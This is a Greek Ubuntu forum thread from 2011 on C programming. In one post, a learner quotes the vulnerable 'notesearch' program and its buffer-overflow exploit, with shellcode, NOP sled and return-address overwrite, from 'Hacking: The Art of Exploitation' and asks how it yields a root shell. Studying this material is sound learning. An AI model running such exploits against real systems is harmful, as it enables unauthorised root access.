Τα πάντα για την C

...του ubuntu και έργων ΕΛ/ΛΑΚ (Έργα-Οδηγοί-Προτάσεις)

Συντονιστής: konnn

Re: Τα πάντα για την C/C++

Δημοσίευσηαπό migf1 » 26 Οκτ 2011, 22:24

Εγώ ψιλοπήζω: http://x-karagiannis.gr/prog/libs/ :)
Go under the hood with C: Pointers, Strings, Linked Lists
Άβαταρ μέλους
migf1
powerTUX
powerTUX
 
Δημοσιεύσεις: 2082
Εγγραφή: 03 Ιουν 2011, 16:32
Εκτύπωση

Re: Τα πάντα για την C/C++

Δημοσίευσηαπό Star_Light » 27 Οκτ 2011, 00:05

δικο σου ειναι αυτο το σαιτ migf1? Και εγω πήζω με την πτυχιακή εδω και 1 μήνα αλλα τα καλα νεα ειναι
οτι το πολυ σε 1 μήνα θα έχω ξεμπερδεψει εχω βρει και ενα φοβερο λογισμικο ανοικτου κωδικα απο εδω απο την κοινοτητα
που αντικαθιστα το MATLAB => http://www.octave.org για να υλοποιήσω τους μαθηματικους αλγοριθμους που χρειάζεται για το τελευταιο part της πτυχιακής μου.
Γνώσεις ⇛ Linux: Βασικές ┃ Προγραμματισμός: Δέν θέλω μεροκάματο , θέλω C και κακο θάνατο! ┃ Αγγλικά: Lower
Λειτουργικό ⇛ Ubuntu 10.10 σε Dual Boot με Windows 7
Προδιαγραφές ⇛ Επεξεργαστής : Intel(R) Core(TM) i3 CPU 540 @3.07Ghz (64bit)
RAM : Kingston 2GB
HDD : Coreshare 500GB
Κάρτα Γραφικών : Intel Corporation Core Processor Integrated Graphics Controller(rev 18) (prog-if 00 [VGA controller]) [8086:0042]
Star_Light
superbTUX
superbTUX
 
Δημοσιεύσεις: 2787
Εγγραφή: 01 Μάιος 2010, 21:07
Τοποθεσία: Αθήνα
IRC: Star_Light
Εκτύπωση

Re: Τα πάντα για την C/C++

Δημοσίευσηαπό Star_Light » 27 Οκτ 2011, 02:12

Και μολις τελειώσω η C θα έχει την τιμητική της!!!!!
Γνώσεις ⇛ Linux: Βασικές ┃ Προγραμματισμός: Δέν θέλω μεροκάματο , θέλω C και κακο θάνατο! ┃ Αγγλικά: Lower
Λειτουργικό ⇛ Ubuntu 10.10 σε Dual Boot με Windows 7
Προδιαγραφές ⇛ Επεξεργαστής : Intel(R) Core(TM) i3 CPU 540 @3.07Ghz (64bit)
RAM : Kingston 2GB
HDD : Coreshare 500GB
Κάρτα Γραφικών : Intel Corporation Core Processor Integrated Graphics Controller(rev 18) (prog-if 00 [VGA controller]) [8086:0042]
Star_Light
superbTUX
superbTUX
 
Δημοσιεύσεις: 2787
Εγγραφή: 01 Μάιος 2010, 21:07
Τοποθεσία: Αθήνα
IRC: Star_Light
Εκτύπωση

Re: Τα πάντα για την C/C++

Δημοσίευσηαπό Star_Light » 27 Οκτ 2011, 02:15

stamatiou έγραψε:
stamatiou έγραψε:Off topic:
Αυτό το καιρό διαβάζω ένα βιβλίο, το "Hacking - The art of exploitation". Πολύ ωραίο και εξηγεί κάμποσα πράγματα τα οποία δεν πολύ είχα για C (μιλάμε για περίπου 100 σελίδες προγραμματισμό σε C! :D). Κάπου έχει και ένα απλό πρόγραμμα σημειώσεων το οποίο δουλεύει με user id έτσι ώστε κάθε χρήστης να έχει τα δικά του. Αλλά δεν καταλαβαίνω τον αλγόριθμο που ψάχνει να βρει το επόμενο note του user. Επίσης αυτό που κάνει ουσιαστικά είναι να φτιάχνει ένα αρχείο ξεχωριστά για κάθε user;
Κώδικας: Επιλογή όλων
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"

#define FILENAME "/var/notes"

int print_notes(int, int, char *); // note printing function
int find_user_note(int, int); // seek in file for a note for user
int search_note(char *, char *); // search for keyword function
void fatal(char *); // fatal error handler

int main(int argc, char *argv[]) {
int userid, printing=1, fd; // file descriptor
char searchstring[100];

if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]); // that is the search string
else // otherwise
searchstring[0] = 0; // search string is empty

userid = getuid();
fd = open(FILENAME, O_RDONLY); // open the file for read-only access
if(fd == -1)
fatal("in main() while opening file for reading");

while(printing)
printing = print_notes(fd, userid, searchstring);
printf("-------[ end of note data ]-------\n");
close(fd);
}

// A function to print the notes for a given uid that match
// an optional search string
// returns 0 at end of file, 1 if there are still more notes
int print_notes(int fd, int uid, char *searchstring) {
int note_length;
char byte=0, note_buffer[100];

note_length = find_user_note(fd, uid);
if(note_length == -1) // if end of file reached
return 0; // return 0

read(fd, note_buffer, note_length); // read note data
note_buffer[note_length] = 0; // terminate the string

if(search_note(note_buffer, searchstring)) // if searchstring found
printf(note_buffer); // print the note
return 1;
}

// A function to find the next note for a given userID
// returns -1 if the end of the file is reached
// otherwise it returns the length of the found note
int find_user_note(int fd, int user_uid) {
int note_uid=-1;
unsigned char byte;
int length;

while(note_uid != user_uid) { // loop until a note for user_uid is found
if(read(fd, &note_uid, 4) != 4) // read the uid data
return -1; // if 4 bytes aren't read, return end of file code
if(read(fd, &byte, 1) != 1) // read the newline separator
return -1;

byte = length = 0;
while(byte != '\n') { // figure out how many bytes to the end of line
if(read(fd, &byte, 1) != 1) // read a single byte
return -1; // if byte isn't read, return end of file code
length++;
}
}
lseek(fd, length * -1, SEEK_CUR); // rewind file reading by length bytes

printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);
return length;
}

// A function to search a note for a given keyword
// returns 1 if a match is found, 0 if there is no match
int search_note(char *note, char *keyword) {
int i, keyword_length, match=0;

keyword_length = strlen(keyword);
if(keyword_length == 0) // if there is no search string
return 1; // always "match"

for(i=0; i < strlen(note); i++) { // iterate over bytes in note
if(note[i] == keyword[match]) // if byte matches keyword
match++; // get ready to check the next byte
else { // otherwise
if(note[i] == keyword[0]) // if that byte matches first keyword byte
match = 1; // start the match count at 1
else
match = 0; // otherwise it is zero
}
if(match == keyword_length) // if there is a full match
return 1; // return matched
}
return 0; // return not matched
}


Τι έγινε βρε παιδιά; Γιατί τόση σιωπή; :D


Το fd καταρχήν που παίρνει σαν ορισμα μεσα η if στην συνθηκη ελεγχου τι ειναι ξέρεις?
Τα αρχεία έχουν απο πίσω ολοκληρη θεωρία εισαι σιγουρος πως την έχεις διαβάσει καλα? :D
Το να μην καταλαβαινεις κατι ειναι ισοδυναμο με το να εχεις κενα σε αυτο το κατι που πας να διαβασεις
επειδη σου λειπει κατι αλλο που ειναι βάση αυτου που θες να καταλαβεις αλλα δεν μπορεις.

Η γνωση ειναι απειρη και δεν μπορεις να τα μαθεις ποτε ολα. Εκεινο που μαθαινεις κατα την γνωμη μου ειναι
πως να διαβαζεις.
Γνώσεις ⇛ Linux: Βασικές ┃ Προγραμματισμός: Δέν θέλω μεροκάματο , θέλω C και κακο θάνατο! ┃ Αγγλικά: Lower
Λειτουργικό ⇛ Ubuntu 10.10 σε Dual Boot με Windows 7
Προδιαγραφές ⇛ Επεξεργαστής : Intel(R) Core(TM) i3 CPU 540 @3.07Ghz (64bit)
RAM : Kingston 2GB
HDD : Coreshare 500GB
Κάρτα Γραφικών : Intel Corporation Core Processor Integrated Graphics Controller(rev 18) (prog-if 00 [VGA controller]) [8086:0042]
Star_Light
superbTUX
superbTUX
 
Δημοσιεύσεις: 2787
Εγγραφή: 01 Μάιος 2010, 21:07
Τοποθεσία: Αθήνα
IRC: Star_Light
Εκτύπωση

Re: Τα πάντα για την C/C++

Δημοσίευσηαπό migf1 » 27 Οκτ 2011, 14:39

Star_Light έγραψε:δικο σου ειναι αυτο το σαιτ migf1?

Ναι. Βασικά τώρα το φτιάχνω κι αυτό για την LIBS (και βάζω και τους διάφορους οδηγούς που έχω γράψει σε διάφορα φόρουμ, να είναι μαζεμένα: http://www.x-karagiannis.gr/prog/libs/c ... rings1.php ).

έγραψε:
Και εγω πήζω με την πτυχιακή εδω και 1 μήνα αλλα τα καλα νεα ειναι
οτι το πολυ σε 1 μήνα θα έχω ξεμπερδεψει εχω βρει και ενα φοβερο λογισμικο ανοικτου κωδικα απο εδω απο την κοινοτητα
που αντικαθιστα το MATLAB => http://www.octave.org για να υλοποιήσω τους μαθηματικους αλγοριθμους που χρειάζεται για το τελευταιο part της πτυχιακής μου.

Καλή επιτυχία εύχομαι :)
Go under the hood with C: Pointers, Strings, Linked Lists
Άβαταρ μέλους
migf1
powerTUX
powerTUX
 
Δημοσιεύσεις: 2082
Εγγραφή: 03 Ιουν 2011, 16:32
Εκτύπωση

Re: Τα πάντα για την C/C++

Δημοσίευσηαπό Star_Light » 28 Οκτ 2011, 03:57

ΩΡΑΙΟ Σαιτ!!!! Καλη φαση.... κοιτα εγω σε εχω προλαβει προ πολλου
επειδη ολα αυτα που ειχες γραψει εδω τα εχω φυλαξει αλλα στον υπολογιστη μου
αλλα σε τετραδια :lol: :lol: .

Ενιγουει καλα παει η πτυχιακη.... μεταξυ μας θα μπορουσα να την βγαλω και σε 2 βδομαδες
ο καθηγητης δεν ειναι καθολου δυστροπος αλλα θελω να την προσεξω λιγο... να βαλω και σχολια στον κωδικα
να του κανω και μια τεκμηριωση... τον εχω βρει και δεν ειναι δυσκολος αναγνωρισα και τους μαθηματικους τυπους
που χρησιμοποιει μεσα για να κανει το simulation που θελω και ολα οκ. ;)
Γνώσεις ⇛ Linux: Βασικές ┃ Προγραμματισμός: Δέν θέλω μεροκάματο , θέλω C και κακο θάνατο! ┃ Αγγλικά: Lower
Λειτουργικό ⇛ Ubuntu 10.10 σε Dual Boot με Windows 7
Προδιαγραφές ⇛ Επεξεργαστής : Intel(R) Core(TM) i3 CPU 540 @3.07Ghz (64bit)
RAM : Kingston 2GB
HDD : Coreshare 500GB
Κάρτα Γραφικών : Intel Corporation Core Processor Integrated Graphics Controller(rev 18) (prog-if 00 [VGA controller]) [8086:0042]
Star_Light
superbTUX
superbTUX
 
Δημοσιεύσεις: 2787
Εγγραφή: 01 Μάιος 2010, 21:07
Τοποθεσία: Αθήνα
IRC: Star_Light
Εκτύπωση

Re: Τα πάντα για την C/C++

Δημοσίευσηαπό stamatiou » 28 Οκτ 2011, 10:09

Star_Light έγραψε:
stamatiou έγραψε:
stamatiou έγραψε:Off topic:
Αυτό το καιρό διαβάζω ένα βιβλίο, το "Hacking - The art of exploitation". Πολύ ωραίο και εξηγεί κάμποσα πράγματα τα οποία δεν πολύ είχα για C (μιλάμε για περίπου 100 σελίδες προγραμματισμό σε C! :D). Κάπου έχει και ένα απλό πρόγραμμα σημειώσεων το οποίο δουλεύει με user id έτσι ώστε κάθε χρήστης να έχει τα δικά του. Αλλά δεν καταλαβαίνω τον αλγόριθμο που ψάχνει να βρει το επόμενο note του user. Επίσης αυτό που κάνει ουσιαστικά είναι να φτιάχνει ένα αρχείο ξεχωριστά για κάθε user;
Κώδικας: Επιλογή όλων
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"

#define FILENAME "/var/notes"

int print_notes(int, int, char *); // note printing function
int find_user_note(int, int); // seek in file for a note for user
int search_note(char *, char *); // search for keyword function
void fatal(char *); // fatal error handler

int main(int argc, char *argv[]) {
int userid, printing=1, fd; // file descriptor
char searchstring[100];

if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]); // that is the search string
else // otherwise
searchstring[0] = 0; // search string is empty

userid = getuid();
fd = open(FILENAME, O_RDONLY); // open the file for read-only access
if(fd == -1)
fatal("in main() while opening file for reading");

while(printing)
printing = print_notes(fd, userid, searchstring);
printf("-------[ end of note data ]-------\n");
close(fd);
}

// A function to print the notes for a given uid that match
// an optional search string
// returns 0 at end of file, 1 if there are still more notes
int print_notes(int fd, int uid, char *searchstring) {
int note_length;
char byte=0, note_buffer[100];

note_length = find_user_note(fd, uid);
if(note_length == -1) // if end of file reached
return 0; // return 0

read(fd, note_buffer, note_length); // read note data
note_buffer[note_length] = 0; // terminate the string

if(search_note(note_buffer, searchstring)) // if searchstring found
printf(note_buffer); // print the note
return 1;
}

// A function to find the next note for a given userID
// returns -1 if the end of the file is reached
// otherwise it returns the length of the found note
int find_user_note(int fd, int user_uid) {
int note_uid=-1;
unsigned char byte;
int length;

while(note_uid != user_uid) { // loop until a note for user_uid is found
if(read(fd, &note_uid, 4) != 4) // read the uid data
return -1; // if 4 bytes aren't read, return end of file code
if(read(fd, &byte, 1) != 1) // read the newline separator
return -1;

byte = length = 0;
while(byte != '\n') { // figure out how many bytes to the end of line
if(read(fd, &byte, 1) != 1) // read a single byte
return -1; // if byte isn't read, return end of file code
length++;
}
}
lseek(fd, length * -1, SEEK_CUR); // rewind file reading by length bytes

printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);
return length;
}

// A function to search a note for a given keyword
// returns 1 if a match is found, 0 if there is no match
int search_note(char *note, char *keyword) {
int i, keyword_length, match=0;

keyword_length = strlen(keyword);
if(keyword_length == 0) // if there is no search string
return 1; // always "match"

for(i=0; i < strlen(note); i++) { // iterate over bytes in note
if(note[i] == keyword[match]) // if byte matches keyword
match++; // get ready to check the next byte
else { // otherwise
if(note[i] == keyword[0]) // if that byte matches first keyword byte
match = 1; // start the match count at 1
else
match = 0; // otherwise it is zero
}
if(match == keyword_length) // if there is a full match
return 1; // return matched
}
return 0; // return not matched
}


Τι έγινε βρε παιδιά; Γιατί τόση σιωπή; :D


Το fd καταρχήν που παίρνει σαν ορισμα μεσα η if στην συνθηκη ελεγχου τι ειναι ξέρεις?
Τα αρχεία έχουν απο πίσω ολοκληρη θεωρία εισαι σιγουρος πως την έχεις διαβάσει καλα? :D
Το να μην καταλαβαινεις κατι ειναι ισοδυναμο με το να εχεις κενα σε αυτο το κατι που πας να διαβασεις
επειδη σου λειπει κατι αλλο που ειναι βάση αυτου που θες να καταλαβεις αλλα δεν μπορεις.

Η γνωση ειναι απειρη και δεν μπορεις να τα μαθεις ποτε ολα. Εκεινο που μαθαινεις κατα την γνωμη μου ειναι
πως να διαβαζεις.

Καλή επιτυχία και από μένα!
Όσο για το fd από ότι έχω καταλάβει είναι ένα int που μας βοηθά να χειριστούμε ένα αρχείο και όταν επιστρέφει -1 τότε υπάρχει σφάλμα με το άνοιγμα του αρχείου.
Επίσης διάβασα για buffer overflow και έλεγε πως ένας τρόπος να υλοποιηθεί είναι να κάνουμε overwrite το return address του stack αλλά δεν έχω καταλάβει δύο πράγματα:
1. Όταν κάνουμε overwrite τη return address που τη βάζουμε να δείχνει;
2. Το παραπάνω προγραμμα που πόσταρα υπάρχει δυνατότητα για buffer overflow και στο βιβλίο από το οποίο το πήρα έχει άλλο ένα πρόγραμμα το οποίο μας βοηθά μέσω εκείνου του προγράμματος να πάρουμε ένα shell με δικαιώματα root!
Κώδικας: Επιλογή όλων
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;

command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory

strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end

if(argc > 1) // set offset
offset = atoi(argv[1]);

ret = (unsigned int) &i - offset; // set return address

for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

strcat(command, "\'");

system(command); // run exploit
free(command);
}


Και να η απορρία μου: Αυτό το πρόγραμμα πρέπει να το τρέξουμε ενώ τρέχει το προηγούμενο (notesearh);
3. Όλο αυτό το shellcode, προσπάθησα να το κάνω ascii αλλά τα περισσότερα είναι απλά ερωτηματικά :/
4. Τι είναι το offset;
stamatiou
daemonTUX
daemonTUX
 
Δημοσιεύσεις: 947
Εγγραφή: 25 Ιουν 2010, 20:23
Εκτύπωση

Re: Τα πάντα για την C/C++

Δημοσίευσηαπό Star_Light » 11 Νοέμ 2011, 01:20

ΣΤαματιου δεν εχω καμιαααα ιδεα απο αυτα που ρωτας δυστυχως :/
σε 1 μηνα που θα εχω τελειωσει παντελως με την πτυχιακη θα ξανασχοληθω :D
αντε και δεν βλεπω την ωρα να ξανα ρχισουμε τα C "μαγειρεματα" εδω μεσα -.-
Γνώσεις ⇛ Linux: Βασικές ┃ Προγραμματισμός: Δέν θέλω μεροκάματο , θέλω C και κακο θάνατο! ┃ Αγγλικά: Lower
Λειτουργικό ⇛ Ubuntu 10.10 σε Dual Boot με Windows 7
Προδιαγραφές ⇛ Επεξεργαστής : Intel(R) Core(TM) i3 CPU 540 @3.07Ghz (64bit)
RAM : Kingston 2GB
HDD : Coreshare 500GB
Κάρτα Γραφικών : Intel Corporation Core Processor Integrated Graphics Controller(rev 18) (prog-if 00 [VGA controller]) [8086:0042]
Star_Light
superbTUX
superbTUX
 
Δημοσιεύσεις: 2787
Εγγραφή: 01 Μάιος 2010, 21:07
Τοποθεσία: Αθήνα
IRC: Star_Light
Εκτύπωση

Re: Τα πάντα για την C/C++

Δημοσίευσηαπό migf1 » 12 Νοέμ 2011, 14:23

Star_Light έγραψε:ΩΡΑΙΟ Σαιτ!!!! Καλη φαση.... κοιτα εγω σε εχω προλαβει προ πολλου
επειδη ολα αυτα που ειχες γραψει εδω τα εχω φυλαξει αλλα στον υπολογιστη μου
αλλα σε τετραδια :lol: :lol: .
...

Ωραίος :)

Τα πέρασα και στο site, λίγο διορθωμένα συγκριτικά με τις αρχικές τους εκδόσεις (τα έβαλα και στην υπογραφή μου ;) )
Go under the hood with C: Pointers, Strings, Linked Lists
Άβαταρ μέλους
migf1
powerTUX
powerTUX
 
Δημοσιεύσεις: 2082
Εγγραφή: 03 Ιουν 2011, 16:32
Εκτύπωση

Re: Τα πάντα για την C/C++

Δημοσίευσηαπό migf1 » 12 Νοέμ 2011, 14:31

stamatiou έγραψε:Off topic:
Αυτό το καιρό διαβάζω ένα βιβλίο, το "Hacking - The art of exploitation". Πολύ ωραίο και εξηγεί κάμποσα πράγματα τα οποία δεν πολύ είχα για C (μιλάμε για περίπου 100 σελίδες προγραμματισμό σε C! :D). Κάπου έχει και ένα απλό πρόγραμμα σημειώσεων το οποίο δουλεύει με user id έτσι ώστε κάθε χρήστης να έχει τα δικά του. Αλλά δεν καταλαβαίνω τον αλγόριθμο που ψάχνει να βρει το επόμενο note του user. Επίσης αυτό που κάνει ουσιαστικά είναι να φτιάχνει ένα αρχείο ξεχωριστά για κάθε user;
Spoiler: show
Κώδικας: Επιλογή όλων
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"

#define FILENAME "/var/notes"

int print_notes(int, int, char *); // note printing function
int find_user_note(int, int); // seek in file for a note for user
int search_note(char *, char *); // search for keyword function
void fatal(char *); // fatal error handler

int main(int argc, char *argv[]) {
int userid, printing=1, fd; // file descriptor
char searchstring[100];

if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]); // that is the search string
else // otherwise
searchstring[0] = 0; // search string is empty

userid = getuid();
fd = open(FILENAME, O_RDONLY); // open the file for read-only access
if(fd == -1)
fatal("in main() while opening file for reading");

while(printing)
printing = print_notes(fd, userid, searchstring);
printf("-------[ end of note data ]-------\n");
close(fd);
}

// A function to print the notes for a given uid that match
// an optional search string
// returns 0 at end of file, 1 if there are still more notes
int print_notes(int fd, int uid, char *searchstring) {
int note_length;
char byte=0, note_buffer[100];

note_length = find_user_note(fd, uid);
if(note_length == -1) // if end of file reached
return 0; // return 0

read(fd, note_buffer, note_length); // read note data
note_buffer[note_length] = 0; // terminate the string

if(search_note(note_buffer, searchstring)) // if searchstring found
printf(note_buffer); // print the note
return 1;
}

// A function to find the next note for a given userID
// returns -1 if the end of the file is reached
// otherwise it returns the length of the found note
int find_user_note(int fd, int user_uid) {
int note_uid=-1;
unsigned char byte;
int length;

while(note_uid != user_uid) { // loop until a note for user_uid is found
if(read(fd, &note_uid, 4) != 4) // read the uid data
return -1; // if 4 bytes aren't read, return end of file code
if(read(fd, &byte, 1) != 1) // read the newline separator
return -1;

byte = length = 0;
while(byte != '\n') { // figure out how many bytes to the end of line
if(read(fd, &byte, 1) != 1) // read a single byte
return -1; // if byte isn't read, return end of file code
length++;
}
}
lseek(fd, length * -1, SEEK_CUR); // rewind file reading by length bytes

printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);
return length;
}

// A function to search a note for a given keyword
// returns 1 if a match is found, 0 if there is no match
int search_note(char *note, char *keyword) {
int i, keyword_length, match=0;

keyword_length = strlen(keyword);
if(keyword_length == 0) // if there is no search string
return 1; // always "match"

for(i=0; i < strlen(note); i++) { // iterate over bytes in note
if(note[i] == keyword[match]) // if byte matches keyword
match++; // get ready to check the next byte
else { // otherwise
if(note[i] == keyword[0]) // if that byte matches first keyword byte
match = 1; // start the match count at 1
else
match = 0; // otherwise it is zero
}
if(match == keyword_length) // if there is a full match
return 1; // return matched
}
return 0; // return not matched
}


Η γνώμη μου είναι πριν περάσεις σε αυτά, να διαβάσεις και να λύσεις όλες τις ασκήσεις του δύστροπου αλλά πολύτιμου "The C Programming Language 2nd Edition" των Kernighan & Richie... αν το καταφέρεις αυτό θα σου είναι πολύ πιο εύκολο να προχωρήσεις σε θέματα όπως τα παραπάνω.
Go under the hood with C: Pointers, Strings, Linked Lists
Άβαταρ μέλους
migf1
powerTUX
powerTUX
 
Δημοσιεύσεις: 2082
Εγγραφή: 03 Ιουν 2011, 16:32
Εκτύπωση

ΠροηγούμενηΕπόμενο

Επιστροφή στο Ανάπτυξη Λογισμικού / Αλγόριθμοι